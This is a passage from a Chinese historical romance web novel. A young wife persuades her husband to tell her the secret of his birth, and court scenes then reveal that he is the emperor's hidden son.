那日徐肃年陪自己归宁回府时,她就觉察到了,只是因为最近忙于丹宁长公主的宴会,她无心去想,可是现在回忆起来,就连她也觉出了不对劲,徐肃年对丹宁长公主,以及徐驸马,未免有些过于疏离。
虽然盛乔自己家里和父母的关系很好,但也并不是没见过父母子女之间亲缘淡薄的例子,比如她的表姐郑墨,就是一个。
盛乔原也不会觉得如何,可是这几日她一直帮着丹宁长公主为宴会的事忙里忙外,她能感觉到丹宁长公主对自己的态度,是亲昵的,和善的。
且几乎每日都会让她带点心回府,还都是徐肃年爱吃的口味。
因为年少不知事,盛乔有时是迟钝了些,但也正是因为她自幼娇生惯养,接受了家人太多太多的宠爱,所以更能接受到周围人的善意。
她很清楚的明白,丹宁长公主对她这么好,不止是因为她讨人喜欢,更是因为徐肃年,因为她嫁给了徐肃年,所以丹宁长公主才会爱屋及乌。
可既然丹宁长公主对他这么好,为何徐肃年却一直这么疏离呢。
盛乔想不通,猜不到,更不知道要不要多管闲事。
犹豫半晌,她还是推了推徐肃年的胳膊。
“徐肃年……”
徐肃年被她拉扯回神,慢半拍地问道:“怎么了,你叫我?”
盛乔问:“我问你母亲那边如何?你还没回答我呢。”
徐肃年说:“放心罢,你还睡着的时候,母亲就来过了,听到你醒来才离开的。她怕打扰到你,便没有进来,还担心你身子不好,特意让我们今夜宿在公主府。”
“母亲真好。”
盛乔情不自禁地感叹了一句,同时又不忘去看徐肃年的表情,可是什么也没有觉察出来。
看来她看人的本事还不到家,盛乔一边有些失落,一边又故意把话题往丹宁长公主的身上引,“我觉得母亲和我阿娘很像,都说人以群分,正好两人相识多年,你说是不是这个道理?”
盛乔东拉西扯,一双眼睛还悄悄地盯着徐肃年,试图打量他的表情。
她的小动作做得这么明显,徐肃年又如何察觉不到。
他无奈地按住盛乔的肩膀,屈指在她的额头上轻轻敲了两下,问道:“你到底想说什么?”
她的意图居然这么明显吗?
盛乔有一瞬间的疑惑,但既然被徐肃年发现了,她便也没再隐瞒,直接问道:“徐肃年,你是不是有心事?”
徐肃年下意识地否认,“没有。”
听到这话,盛乔哦了一声,没再追问。
这可不是她的性格,徐肃年有些意外地看了她一眼,见她微微垂下眼皮,一副情绪低落的样子,不由得问道:“怎么这个表情,生气了?”
什么叫近朱者赤,近墨者黑,和徐肃年在一起久了,就连盛乔也学会了装可怜这一套了。
想象着从前徐肃年的表现,盛乔认真学习,她微垂着眼睫,一副万分失落的表情,两片红唇轻轻地抿着,想说什么,却不张口,仿佛其中藏了万语千言。
“我有什么立场生气?”盛乔语气低落地说,“是我没有自知之明,你的事我不该过问。”
其实她学得真的很像,可不知道是不是平日骄矜惯了,徐肃年骤然看到她这幅自苦的模样,不知为何竟有些想笑。
幸而盛乔一心装模作样,没有抬头看他,徐肃年这才将唇角的笑意竭力压了下去。
盛乔没什么耐心,久久没等到他的安慰,装不下去了,干脆直接抬头看了过来,正对上徐肃年犹疑的眼睛。
其实徐肃年如何不知道盛乔是担心自己,可是有些事当着盛乔的面,他实在说不出口。
他一贯巧言善辩,此时难得不知道如何回应盛乔的问题,纠结了半晌,干脆直接搂着她亲了上去,含混道:“别生气了,阿乔。”
在这些事上,盛乔总是热情又顺从,可今日她破天荒地推开了徐肃年。
徐肃年微微一怔。
学着他从前的动作,盛乔也抬手捧住了徐肃年的脸,一双眼睛清澈如水。
她认真地看着他,郑重道:“我阿娘曾对我说,男女成婚之后,夫妻一体,荣辱与共。”
“徐肃年,我有什么事都告诉你了,也让我替你分担,好不好?”
第69章 旧事无论你是谁,我都喜欢你
世人羡丹宁长公主一生顺遂,除她尊贵的身份之外,还有
一个重要的原因,就是丹宁长公主与驸马多年恩爱,诞育三子。
但徐肃年早就知道,一切并非如此。
他十三岁之前,只是丹宁公主府的长子,父母恩爱衣食无忧,唯一的念头就是用心读书,将来入仕为母亲争光。
可在他十三岁那年,他意外得知父亲徐荆在尚公主之前,曾有过一个青梅竹马的未婚妻。
徐荆是寒门出身,年少家境贫寒,直到二十岁中了进士,成为翰林编修,结识了当年还是太子的崇安帝。
当年徐荆到底为崇安帝做了什么,徐肃年并不清楚,但只看崇安帝登基之后,将自己唯一的妹妹许配给了徐荆,就知道当年徐荆定然是立过功的。
当然,这段故事在丹宁长公主的口中,则是她给崇安帝请安时,对新科进士一见钟情。
但无论两人是以哪种方式成的亲,两人成婚之后的感情都很好。
在徐肃年小时候,也是体验过父母恩爱和谐是什么滋味的。
只是他十三岁那年,无意发现徐荆暗中在祭拜什么人。
那时他还不知道是谁,偷偷跟踪徐荆几天,才发现他祭拜的居然是个女人。
那时徐肃年年纪小沉不住气,没忍住去质问徐荆,言语里对那女人颇有微词谴责。
一向温文尔雅的徐荆第一次给了他一巴掌,然后愤怒地告诉他,那是他的亲生母亲。
原来徐荆在入京之前,曾有过一个青梅竹马的未婚妻谭氏,后来徐荆尚公主之后,谭氏还曾到京中寻他。
他到底对谭氏还有感情,一时未能克制住自己的欲望,便将她养在外宅。
那时丹宁长公主处境不好,每日被困在公主府不能出去,正方便了他在外面养女人,甚至在丹宁长公主生下两人的长子之后,谭氏也在外面给他生了一个儿子。
大约是他太不知收敛,没多久徐荆在外面有女人的事情竟然被崇安帝发现了,崇安帝勒令他将那个谭氏送离京城。
公主和外室到底选择那个,徐荆根本不需要犹豫,就能知道答案。
只是舍不得他的儿子。
正巧丹宁长公主生下的孩子生了一场重病,太医不敢告诉公主,便偷偷与驸马徐荆禀报,这位小郎君只怕活不了太久。
徐荆顾不得伤心,反而想到了自己养在外面的那个孩子。
后来,长公主的孩子果然早早夭折,趁着长公主未发现,他偷梁换柱,将谭氏生下的儿子换进了公主府。
这个孩子本来就生的晚,又在外面养着,身体不是很好,再加上年纪小,同在襁褓之中,差别并不算大。
且那时丹宁长公主在府中困着,整日郁郁,自身都难保,也没有太多心思放在孩子身上。
徐荆便借口长公主劳累,想要为公主殿下分担,独自养了儿子一段时间。
等丹宁长公主想起儿子时,小孩子已经千般变化,她完全没有怀疑。
知道真相的那一刻,他当时是什么反应,徐肃年已经根本记不得了,只是徐荆的那番话,直到现在都会时不时地回绕在徐肃年的梦里。
起先,徐肃年只以为是父亲背叛了母亲。
后来他却发现,自己原来就是他背叛的证据。
当时的他本就身体虚弱,再加上无法接受这个真相,整个人大病了一场。
他甚至想过,或许就这样死去也很好。
可是丹宁长公主拼命地将他救活,甚至连崇安帝都赏赐了许多药材。
他们越是这样,徐肃年越是不想活了,因为他根本无法面对丹宁长公主。
他无数次的想过,要去和丹宁长公主坦白真相,徐荆却说:“你自己不想活了,也想让你母亲去死吗?”
只这一句话,就让徐肃年彻底止住了坦白的想法。
丈夫背叛,长子早夭,疼爱多年的孩子并非亲生。
这三件事无论哪一件,对于丹宁长公主来说都是一个太大的打击。
徐肃年不愿看到母亲失魂落魄的样子,只能闭嘴。
后来,他干脆远走长安,被皇帝派到了战场上历练。
在离开长安之前,崇安帝曾意味深长地对他说,让他找到自己。
他在边境待了两年,见证了太多生死离别悲欢离合。心境的确开阔了许多,他能说服自己苟活度日,却始终对丹宁长公主心怀愧疚。
丹宁长公主什么都不知道,这些年一直对他这么好。
他无以为报,只能全力尽孝,为君尽忠。
当初崇安帝要他入仕为自己办事时,徐肃年心里是拒绝的,可是崇安帝却对他说,他站得越高,代表的也是丹宁公主府的荣耀,是为他母亲争光。
徐肃年被这句话蛊惑了。
这或许是他唯一能为母亲做的事。
丹宁长公主时常抱怨他的性子越来越沉默,与自己的关系越来越生疏,可是他没有办法。
因为他根本不敢享受母亲的爱。
所以只能与丹宁长公主刻意疏离,渐渐地也很少再回家了。
至于徐荆,自从得知真相之后,他几乎再也没有主动和他说过话。
原本和谐幸福的一家三口彻底没了踪影,有时徐肃年午夜梦回,都是十三岁之前的那些过往。
可是梦终究是梦,终究不是现实。徐肃年清晰地知道,从他得知真相的那一刻起,他就只能向前,不能回头了。
如今已经过去将近十年,这件事已经成了徐肃年最大的心结,甚至因为徐荆对丹宁长公主的背叛,心中一直不愿成婚。
直到他遇到盛乔。
这件事在心中已经憋闷了太久,他无处可诉,心中倍感压抑,可在盛乔温柔关心他的时候,他又退却了。
在他心中,盛乔是珍贵无暇的明珠,皎洁如月。
在她心中,两人一直是门当户对的。
若是让盛乔知道,他其实并不是丹宁长公主的儿子,只是一个占据了旁人位置的小偷,她会怎么看自己?
他心中犹豫,可在看到盛乔明亮清澈的眼睛时,又很难不动摇。
“我阿娘曾对我说,男女成婚之后,夫妻一体,荣辱与共。”
“徐肃年,我有什么事都告诉你了,也让我替你分担,好不好?”
这两句话实在说得太好听,徐肃年觉得自己要被盛乔迷惑了。
过了许久,他才缓缓开口,说道:“阿乔,如果有一天,你发现我根本不是你现在看到的那个人,会觉得失望吗?”
盛乔没听懂,“你不是我看到的你,那会是谁?”
其实徐肃年也不知如何解释,他已经许久没有这么犹豫过了。
盛乔更是没见过徐肃年这个样子,焦急地推了推徐肃年的手臂,催促道:“快说呀!”
徐肃年说:“如果有一天,你发现我不是端阳侯,不是丹宁长公主的儿子,那会怎么办?”
听到
这话,盛乔先是一愣,半晌才反应过来,大约是停职一事对徐肃年打击实在太大,以至于他现在都对自己没有什么信心了。
难得见到徐肃年这个样子,盛乔又心疼,又有些好笑。
徐肃年忐忑地等着一个答案,因此两只眼睛一直紧紧地盯着盛乔的表情,没想到她的眼底竟然流露出一点笑意,不由得让徐肃年更加忐忑不安。
“你笑什么。”他忍不住问。
“徐肃年我问你,”盛乔终于开口了,“你还记不记得我们两个第一次见面是什么时候?”
这才过去多久,徐肃年当然记得。
他坐在马车上小憩,盛乔阴差阳错闯进他的马车,拿着一枚鱼形佩傻乎乎地想要核对他的身份,最后却还是上错了车,认错了人。
他难得这么老实地回答盛乔的问题。
盛乔心里还算满意,可是面上听了这话,还是气鼓鼓地哼了一声,说道:“你看,当时我以为你是车夫,都愿意和你在一起。更别提现在了。”
这话说得明明白白,徐肃年却像是没听懂似的。
盛乔看着徐肃年脸上的表情,第一次觉得,原来徐肃年是这么没有安全感,这么需要她。
但她并不觉得烦,反而欣喜自己也能为徐肃年做些什么。
她这次没再说什么干巴巴的话,直接搂住徐肃年的脖颈亲了上去。
唇齿相依的感觉实在太过熟悉,徐肃年先是惊喜,而后下意识地想要反客为主,可是盛乔这次没由着他动作,而是始终将主动权掌握在自己手里。
她抱着徐肃年,顺着他的唇,一路往上,亲到他的眼睛,动作轻柔而虔诚。
最后一个吻,落到了徐肃年的眉间,像是烙下了什么印章似的,那么郑重。
亲完这一下,盛乔才终于将徐肃年放开了些,然后才继续说道:“当时你告诉我,你家中经历了变故,你母亲病重,家中还有两个弟弟,家境十分艰难。”
听到这话,徐肃年本能地想要反驳一下,这些并不是他说的,而且盛乔胡猜的。
可是看到盛乔认真的眼神,他什么都没说。
“我当时真的以为你只是个车夫,家里穷得要命,空有一身武艺,想荐你到我二叔的麾下从军你都不去。可即便如此,我仍旧在洛州与你在一起了。”
“你知道为什么吗?”
“我……”
明明是盛乔问的,可她却根本不等徐肃年的回答,便自顾自地将答案说了出来——
“因为我喜欢的一直是你,是我眼前的这个人,无论你是徐少安,还是徐肃年,亦或者你根本不姓徐,对我来说都没有任何区别。”
她的语气坚定,“就算你不是丹宁长公主的儿子,不是端阳侯,哪怕你只是一个贫苦的车夫,我依然会喜欢你,愿意嫁给你。”
第70章 驸马以后再不会骗你了
“无论你是谁,我都会喜欢你。”
盛乔的声音不算大,语气却无比坚定。
徐肃年被她抱着,好半晌都说不出话来。
其实一直以来,在他心里,盛乔更像是个需要他保护的小女郎,他愿意拼尽全力为她做任何事。
但现在听到盛乔这一番话,他忽然意识到,盛乔不只是那个与她初遇时天真烂漫的小娘子了,而是他明媒正娶的妻子,与他共享富贵,同担荣辱。
徐肃年深吸了一口气,终于开口,“我没有骗你,阿乔,其实我……并不是母亲的儿子。”
“什,什么?!”
若是盛乔手里端着杯子,只怕现在已经砸到了地上摔个粉碎。
她下意识就要叫出声,但一想到他们现下是在丹宁长公主府,盛乔连忙伸手捂住了自己的嘴。
好半晌,她才小声问了一句,“你在胡说什么呀。”
“我十三岁那年,发现徐驸马在外面有一个外室……”
既然已经把话说出来了,徐肃年就没有再犹豫的念头,坦诚地将过去的事告诉了盛乔。
若不是徐肃年亲口所说,盛乔几乎要以为这是什么话本戏台上的故事,可是徐肃年的声音虽然低,却将每一个字都讲得清清楚楚。
盛乔听着,既觉荒唐我,又觉震惊,可想到徐肃年和丹宁长公主之间忽远忽近的关系,又觉得一切都说得通了。
良久,她才长叹一声,“……原来是这样。”
一时冲动将一切都告诉了盛乔,现在反而不知该说些什么了。
他看着盛乔充满震惊的眼睛,缓缓点了点头。
他一向对自己的决定都是自信的,很少会后悔什么决定,可是把话说出来的选择,他竟然不确定自己做的到底对不对。
直到盛乔忽然抬手捧住他的脸,徐肃年一瞬间有些愣怔,下意识地跟着她的动作抬起了头。
盛乔的心里十分复杂。
她记得自己小时候第一次上学堂,阿娘给她的背包里装了两本书,她不要琥珀和琉璃帮她背,偏要自己拿,两本书抱了一路,她只觉得好沉好沉。
只是两本书的重量她已经觉得很沉了,有关身世的大秘密又还有多重呢?
十三岁的徐肃年分明也还是个孩子,却偏偏要知道这样的事,岂不是将他最美好的少年时代都截断了吗?
盛乔看着他,忍不住问道:“从你第一次得知这件事,到现在已经过去了将近十年,你独自承担这个秘密,累不累?”
听到这话,徐肃年只觉得自己心脏像是被一双手狠狠地揉捏了一把,又酸又软,“阿乔……”
盛乔点点头,“我在呀。”
她从他的怀抱里挣脱出来,然后主动地回抱住徐肃年,说:“我一直在。”
她实在太过娇小,身形也纤细单薄,可是这会儿抱着徐肃年的时候,却没有半点不和谐之感。
两人就这样抱着,不知过了多久,又听到盛乔开口说道:“你不必觉得愧疚,这件事不是你的错。但是母亲她……她其实也没有错。”
其实徐肃年又何尝不明白这个道理,他这么多年一直隐瞒着丹宁长公主,是担心她无法承受。 :
盛乔自然也懂得徐肃年的心意,一时有些纠结。
徐肃年看出她的表情不对,直白问道:“怎么了?你想说什么?直说罢,你我现在还有什么不能说的吗?”
这话也有道理,盛乔只犹豫了一会儿,便说:“丹宁长公主或许不能接受,可是如果让她一直生活在一个弥天大谎里,会不会太残忍了。”
“她以为与她恩爱携手的驸马,其实早已有了外室,甚至还有了孩子。这样的人,简直……”
其实这件事里,唯一做错的就是驸马了,盛乔心里对他有一千一万个不满,可想到他到底还是徐肃年的父亲,强忍着没把这话说出来。
她顿了顿,才又继续说道:“至少如果是我,我宁愿痛苦,也不想被人一直骗。”
听完这话,徐肃年不由得沉默下来。
他忽然想到在洛州时,盛乔曾对他说过,与人相处,最重要的就是真诚,也正是因此,盛乔最讨厌的就是别人骗他。
或许也正是因为这个原因,今日盛乔才会对他说出这样一番话。
现在想想,他将这个真相隐瞒这么久,又何尝不是一种自私呢。
他看似在尽孝,实际上对母亲极尽疏远,大约早已伤透了她的心。
思及此,徐肃年抱着盛乔的手臂缓缓收紧,他将头埋进盛乔的颈间,低声道:“阿乔,对不起……”
盛乔不懂他为何要向自己道歉,疑惑道:“干嘛突然对我说这个?”
徐肃年也不解释,只承诺道:“以后我再也不骗你了。”
听到这句,盛乔才勉强明白他的意思,笑道:“原来你也知道你总骗我呀。”
徐肃年说:“以前都是我不好,日后我定然再不对你说半句假话。”
盛乔听了这话心里熨帖,口中却道:“你当真能做到一句假话不说?我才不信呢。”
果然,此话一出,徐肃年又飞快地改了口,“正经事上不骗你。”
盛乔瞪眼看他,“这是什么话,难道还有不正经的事?”
徐肃年故作暧昧地看了她一眼,“你说什么是不正经的事?”
他的眼神明晃晃地落在盛乔的唇上,盛乔不自觉抿了下唇,然后使劲推了他一把,“你快走罢,我头还晕,要继续睡觉了。”
徐肃年笑着看她一眼,然后说道:“先别睡,先把药喝了。”
盛乔不情愿,“不过是喝了两杯酒而已,哪有必要还要喝药。”
盛乔还不知道自己中毒的事,徐肃年也不打算告诉她,怕她听了后怕。
于是道:“大夫说不喝要头疼的,宿醉必须喝药。”
她一共喝了没有一杯酒,哪就宿醉了。
盛乔觉得徐肃年这人实在太夸张,想要反驳,但是触到徐肃年担忧的眼神,便又把话咽了下去。
琥珀早熬好了药放在一边,两人说了这么久的话,药早就凉了。
徐肃年盯着盛乔把药喝完,然后才扶着她躺下,并细心地给她盖好被子。
其实盛乔一点也不困,方才说那话也不过是借口罢了,这会儿不知道是不是刚喝了药的缘故,竟然真觉出几分困倦。
可她强撑
着精神没有阖眼,而是一把抓住了徐肃年的袖口,“你要去找母亲吗?”
徐肃年下意识就要否认,可紧跟着盛乔就说了一句,“刚刚是谁说以后不会骗我,不会对我再说半句假话?”
徐肃年无奈一笑,然后点了点头,说:“是。”
盛乔一下子有些担心,她撑着胳膊试图坐起身,对徐肃年说:“我陪你一起去罢……”
可还没有坐起来,就被徐肃年重新按了回去,“不用了,我自己可以。”
“可是……”盛乔有些担心。
徐肃年道:“此事因我而起,就让我结束罢。”-
今日实在发生了太多事,丹宁长公主只觉得身心俱疲,回到卧房之后,她连妆面都没来得及卸下,就靠在美人榻上睡着了。
徐肃年过来的时候,雪绒等人都守在廊下,凑成一堆儿说话。
听到脚步声,她们还以为是驸马回来了,一转头却看见徐肃年。
雪绒既惊又喜地迎上来,“侯爷,您怎么这时候过来了。”
其实都不必问,徐肃年一看她们都堆在外面,就知道丹宁长公主是在休息,但还是问道:“母亲呢?”
雪绒回道:“今日宴会宾客众多,公主殿下累了,回来就歇下了。”
都要用晚膳了,母亲平时很少会在这时候休息,想来是今日宴会搅得她心神俱疲。
母亲已经这么累了,何况今天还是她的生辰。
徐肃年的心里不由得有些犹豫。
正在这时,房间内忽然传来一阵窸窣声响,很快房门被推开,丹宁长公主披着披风走到门口,看着院内站着的徐肃年,惊喜道:“少安?怎么这时候来了……”
她的头发还散在脑后,但此时也顾不上那许多,直接朝徐肃年招了招手,“过来,有什么事进来说。”
她的语气是那么的热切和兴奋。
徐肃年知道,自己已经太久没有主动来找过丹宁长公主了,所以她才会在看到自己的时候那么欢喜。
这些年他说是尽孝,实际上根本只顾着自己舒服,根本没有考虑过母亲的想法。
在她的眼中,自己一直都是她的亲儿子,却忽然有一天对她疏远起来,她的心里会想什么?
依着母亲的性子,大约只会怪自己罢。
徐肃年这样想着,只觉得胸口又酸又涨,他偏头看了一眼雪绒等人,轻声吩咐道:“你们先下去罢,我有话单独对母亲说。”
雪绒等人跟在丹宁长公主身边这么多年,也都是人精,此时一眼看出徐肃年的表情不对,闻言立刻应声退下。
驸马进宫去了,还没有回来,此时偌大的院子便只有母子二人。
丹宁长公主从未见过自己儿子这幅模样,她心里莫名有些慌,看着徐肃年微微泛红的眼睛,关切地问:“怎么了,怎么这幅表情?难道是阿乔她……”
话未说完,只听扑通一声,徐肃年稳稳跪到了她的面前-
玄元殿。
其实徐荆如今身上并无实权官职,唯一的一个宜春侯爵位,也是因为尚公主而来。
这些年崇安帝身边越来越多的能人近臣,他早已被渐渐边缘化了。只不过崇安帝对他这一身的学问还算满意,再加上是丹宁长公主的驸马,到底算是与皇室有些渊源。因此崇安帝虽没有授他太傅、少傅之职,仍命他每日给皇子们授学。
今日也不例外。
不过崇安帝的皇子不多,今日又因为日子特殊,是丹宁的生辰,太子和四皇子都告假出宫去给姑姑贺寿了,然后便一直没有过来。
因此今日学堂上只有七皇子一人,他年纪还小,不过十四岁,平日跟在两个哥哥身后丝毫不起眼,徐荆也很少注意到他。
今日整个课堂就只有他一个人,徐荆没有授书,只留下了一篇课业,让七皇子独自练习。
七皇子生母出身不高,年纪又小,一向跟在两个兄长后面不出声,性子也唯唯诺诺。
今日被徐荆懈怠他也不敢辩驳,领了题目便回座位独自用功去了。
徐荆看着他,忽然觉得他垂眼的表情有些熟悉。
可具体是从哪见过,他一时也想不起来,于是没忍住又往七皇子的身上瞟了两眼。
大约是他的视线太过明显,七皇子终于察觉到,抬头看他,“徐师傅,您有什么话想对我说吗?”
七皇子长得很好,模样俊秀,只是因为年纪小,眉眼微微上挑的时候,看上去总有些怯生生的上不得台面。
方才的熟悉感瞬间消失,徐荆摇了摇头,说:“无事,七殿下认真看书,不必在意臣。”
“是。”
七皇子小声应了一句,重新低下头,但这次略微调整了一下坐姿。
徐荆没注意到他的小动作,只是看了看墙角的漏刻,准备去向皇帝告假辞行。
今日是丹宁的生辰,他还是该早些回去。
崇安帝日理万机,但亲妹妹的生辰还是记得的,于是在徐荆将要告退的时候,特意将他叫住,然后吩咐身边的庆和将他提前预备好的贺礼礼单递给他。
徐荆打开一看,只见礼单上除了有女人喜欢的绸缎和珠宝之外,还有些明显是男人用的玉佩荷包。
他微微一顿,只当没看见似的,将礼单合上。
殊不知高位上的崇安帝一直观察着他的表情,见他如此模样,便知道他在想什么,于是主动开口道:“这段日子少安一直在府中养伤,身体可好些了?”
“托陛下记挂,少安一切都好。”
徐荆听着崇安帝的语气,不仅暗暗揣测帝心。
他虽然不知道徐肃年到底是因为什么触怒了陛下,但听现下这个语气,大约陛下已经不想和他计较了。
想到那份礼单上的东西,他攥了攥拳头,然后主动开口替他求情,“陛下是了解少安的,少安他从十几岁起就为陛下做事,这还是第一次赋闲在家这么久,对陛下的决定他不敢质疑,却一直惴惴不安,因此,臣……”
听着他这番话,崇安帝根本没耐心听完,便直接打断道:“少安是什么性子,朕最了解,宜春侯不必为他开脱。这么些年还是这个扶不上墙的样子,十几岁因为一桩小事要死要活,如今又为了一个女人而抛弃前程,实在没有半点出息!”
“不瞒你说,这几个月,朕一直等着他来向朕请罪,向朕认错,了他呢?当真几个月没踏入大理寺半步,他这不是和朕打擂台是什么?”
崇安帝越说越气,一巴掌拍到桌上,“朕到现在没有撤掉了的职,已经是很给他面子了,什么时候他还记得来给朕请罪认错,什么时候朕再让他官复原职,否则,就让他一辈子待在家里陪女人罢!”
这话已经说的十分严厉,纵是徐荆听了都忍不住心下发颤。
其实言尽于此,他该退下了,可想到今日明显比往常冷清许多的宴会。徐荆到底没忍住,低头犹豫了半晌,还是开了口,“少安毕竟年轻,陛下好好教导,他会改的,他毕竟是……”
“徐荆!”
这次,崇安帝的语气比方才严厉百倍。
徐荆立刻伏地请罪。
崇安帝盯着他匍匐在地的声音,冷冷开口,“你想说什么?”
“臣……”徐荆冷汗都要下来了,“臣一时失言。”
“最好是失言。”若是眼神能杀人,只怕徐荆已经被崇安帝千刀万剐了,他加重了语气,说道,“徐肃年是你的儿子。”
“你不自己不好好教导,难道还要朕这个做舅舅的帮你不
成?”【魔蝎小说 mo xie xs .c om】
【正文完】
第71章 杨巡这一切都是你的算计
即便伏跪在地上,徐荆也能感觉到崇安帝投递在自己头顶的目光,简直比正午的太阳更刺眼几分。
徐荆知道自己今日是情急失言,可最近这几个月以来皇帝对徐肃年的态度,实在让他不能不着急。
徐肃年也是大家出身,只是徐家早已败落,他苦读多年,就是为了重振家族。
考中进士没多久,他就认识了尚是太子的崇安帝,他是临时出身的文臣新贵,太子在这时重用他,相当于与整个寒门阶层交好。
后来崇安帝如愿登基,他也步步高升,甚至娶了崇安帝的嫡亲妹妹丹宁长公主。
他以为自己终于如愿以偿,可以施展抱负,入阁封侯,一切都在向好的地方发展。
后来他果然封了宜春侯,却是因为尚公主。
他对前程不是没有野心,可崇安帝不重用他,他只能把所有的心思都放在下一任皇帝身上。
徐肃年到底是谁的儿子,他比任何人都清楚。
在朱太后还是皇后时,膝下并无亲子,于是在一众皇子中挑中了崇安帝。
当年的朱家还是七大家族之首,势力雄厚庞杂,想要扶持一个皇子还不简单。
崇安帝顺利成了太子,却对控制自己的太后生出不满。
也正是因此,崇安帝才会想要扶植清贵,与京中累累勋贵对抗。
其中打的这个出头鸟就是朱家,但是朱家雄霸多年,怎么可能会允许皇室削弱自己的家族势力。
朱家扶持崇安帝一路成为太子,也是想要维护自己的势力,于是朱皇后要把自己的侄女嫁入东宫做太子妃。
初封东宫,崇安帝年少不知事,适逢先帝年迈病重,以为自己可以掌权,试图剪除朱家。所以自己做主请陛下赐婚,选了自己先师的女儿,谭氏为太子妃,并且扶持没有根基的清贵,可是朱氏的势力比他想象得更深。
崇安帝不听话,他们可以再换一个太子。
江山和美人选哪个,这个问题根本不需要思考。
放弃谭氏很简单,只是没想到谭氏已有身孕。
这可是他的嫡长子。
他知道,自己另娶朱家女之后,只怕要重新陷入被动之中。
他怎么能舍弃自己的嫡长子。
正巧丹宁长公主也同时怀有身孕,于是崇安帝想到了徐荆。
能为皇帝养儿子,还是嫡长子,徐荆自然不会拒绝,也不能拒绝。
他以为自己能因此成为天子近臣,反而被崇安帝愈发疏远。
他如何不会心急,可他忘了,现在的崇安帝已经不是当年那个被掌控的可怜太子,而是大权在握的帝王。
想到这些,徐荆如芒在背,一时不敢说话。
殿内气氛霎时沉寂下来,不知过了多久,才听到崇安帝开口说了一句,“徐荆,你心里在想什么,朕一清二楚。”
“但是少安姓徐,是丹宁和你宜春侯的儿子,朕奉劝你不要生出别的心思,否则……”崇安帝冷睨着他,“就是丹宁也护不住你。”
“是……”
徐荆连忙叩头答应。
崇安帝挥手让他跪安,盯着他的背影长叹一声,心下也颇为复杂。
当年将自己的长子送到别人膝下将养,多年不能认回,他当然觉得愧疚,这些年对徐肃年也不可谓不尽心培养。
谭氏是被他亲手赐死的,他对她到底也是有感情的,只是碍于太后和皇后,连祭拜都不能。此事唯一知情的就是徐荆,于是他让徐荆替自己悄悄祭奠谭妃,未想竟会被徐肃年发现。
他当然不可能告知徐肃年真相,只是没想到这件事对他的打击这么大,甚至生出寻死的念头。
他当时就觉得失望,觉得自己这儿子实在没出息,但心里终究还是心疼的,于是特意送了许多灵芝人参给他补身,还特意将他送离长安,让他去边境散散心。
幸而他后来想通了,回京之后,整个人变高了也变俊了。
那时崇安帝已经在皇位之上坐了多年,渐渐在收拢手中权力,打压朱家,只是缺信重的臣子。
徐肃年年轻锐意,又是他栽培长大的亲生儿子,是他心爱的谭妃所生,崇安帝那时的确对他寄予厚望。
可随着他手中权力一天天变多,这个念头逐渐就被他抛之脑后了。
他才是皇帝,是大梁朝唯一的掌权人,任何人都不能觊觎、染指他的皇位,即便这个人是他的亲生儿子。
认回徐肃年的心思渐渐打消,直到现在,他仍没对他提起过自己的身世。
何况,那段过去对他来说是无法掌权的耻辱,若公开徐肃年的身份,相当于对世人承认自己当年的窘迫。
崇安帝宁可继续隐瞒下去。
反正他不缺儿子,虽然现在子息不丰,但日后可不见得。
何况徐肃年这孩子虽然能力不差,心智却不成熟,没有半点成谋计策,心里只有女人,就算想登大位,也该好好考验一番。
思及此,崇安帝不由得舒展开剑眉,重新执起朱笔,想要继续看奏折,却又听得殿门被推开,庆和从外面走进来,通传道:“陛下,丹宁长公主请见。”-
从丹宁长公主处离开之后,徐肃年先回了至爽斋。不出预料,盛乔根本没睡,披着外衣在床前走来走去。
一见到徐肃年进来,盛乔立刻迎上去,关切道:“怎么样?”
徐肃年的脸色不好,但见到盛乔还是勉强勾起了一抹笑,朝她摇了摇头,说:“没事。”
“母亲……说什么?”
想到方才丹宁长公主震惊的表情,徐肃年的情绪就有些失落,低声道:“母亲什么都没说。”
只怕是震惊到说不出话来了罢。
“你回来的这么快,难道是母亲把你赶出来了?”
“想什么呢。”徐肃年无奈地揉了揉盛乔的脑袋,“母亲进宫去了。”
这么快就进宫去了,不会是向陛下去说,要和驸马和离罢。
盛乔看着徐肃年:“那你呢?你怎么样?”
“我没事。”徐肃年摇了摇头,说,“这些事在我心里藏了多年,我如今能把这话说出来,反而落得轻松,不必担心我。”
说完,他看了看这至爽斋,然后又看了看盛乔,说:“你头还疼不疼?我们还是回侯府罢,我想,母亲现在应当是不想见到我的。”
就这么离开吗?
虽然徐肃年不是丹宁长公主亲生的,可是母子两人毕竟相处多年,当真没有半点感情吗?
虽然在这件事上,盛乔只能算个局外人,可是看着徐肃年此时落寞的表情,盛乔也禁不住替他难过。
只是她一时也不知道该如何安慰徐肃年,半晌也只能善解人意地点了点头,“好。我们回去。”
端阳侯府离着丹宁长公主府并不算,马车也不过两刻钟的时间,没一会儿就到了。但大约是盛乔身上的药劲儿还没散,两刻钟的路程都把他颠得晕晕乎乎的。
回到端阳侯府,徐肃年先把盛乔抱回了嘉禾轩,伺候她更衣睡下,又吩咐琥珀等人好好守着她,这才一个人回到了前院的书房。
其实嘉禾轩也有书房,自从两人成婚之后,徐肃年便没再来过
前院的书房。守在院子里的小厮见他过来还颇有些惊讶,想跟着进去打扫点灯。
时辰已经不早了,天都黑透了。徐肃年没让任何人跟进来,打发他们先去休息,然后独自一个人推门进了书房。
整个院子的人都歇下了,只有书房的门发出吱呀的轻响。徐肃年走进去,还没来得及点灯,就感觉到屋子里有人。
四周一片黑暗,徐肃年却精准地看向了书桌所在的方向,“谁?”
嗤的一声火折子被点燃的声响,紧跟着桌上的灯被点亮,跳跃的烛火后面映出一张年少俊秀的面孔。
徐肃年看了他一眼,然后走过去行礼,“七皇子殿下,您怎么在这?”
七皇子杨巡才十四岁,在宫里也不受重视,到现在还没蹿个,徐肃年躬下身子都比他高。
杨巡趁着徐肃年弯腰的空当,悄悄伸手比了比两人的个头,确定自己真的比徐肃年矮了那么多,不由得暗暗撇了撇嘴。
他绕过宽大的书桌,为了让自己显得高一点,干脆直接跳到徐肃年的书桌上坐着。
不料才刚跳坐上来,就听得徐肃年一声冷斥,“滚下来!”
杨巡毫不意外他的反应,从桌面上跳下来,哼道:“怎么不装了?”
徐肃年懒得理他,直接绕到桌子后面坐下,收拾了桌上被他翻乱的书册,然后才开口问道:“你这时候来我这做什么?不怕被人发现?”
杨巡道:“今日姑母生辰,太子和老四竟然全都去公主府贺寿了,我猜他们定然不会消停,恐怕又闹出不少的事来,这才冒险出来找你,想问问今日情况如何。”
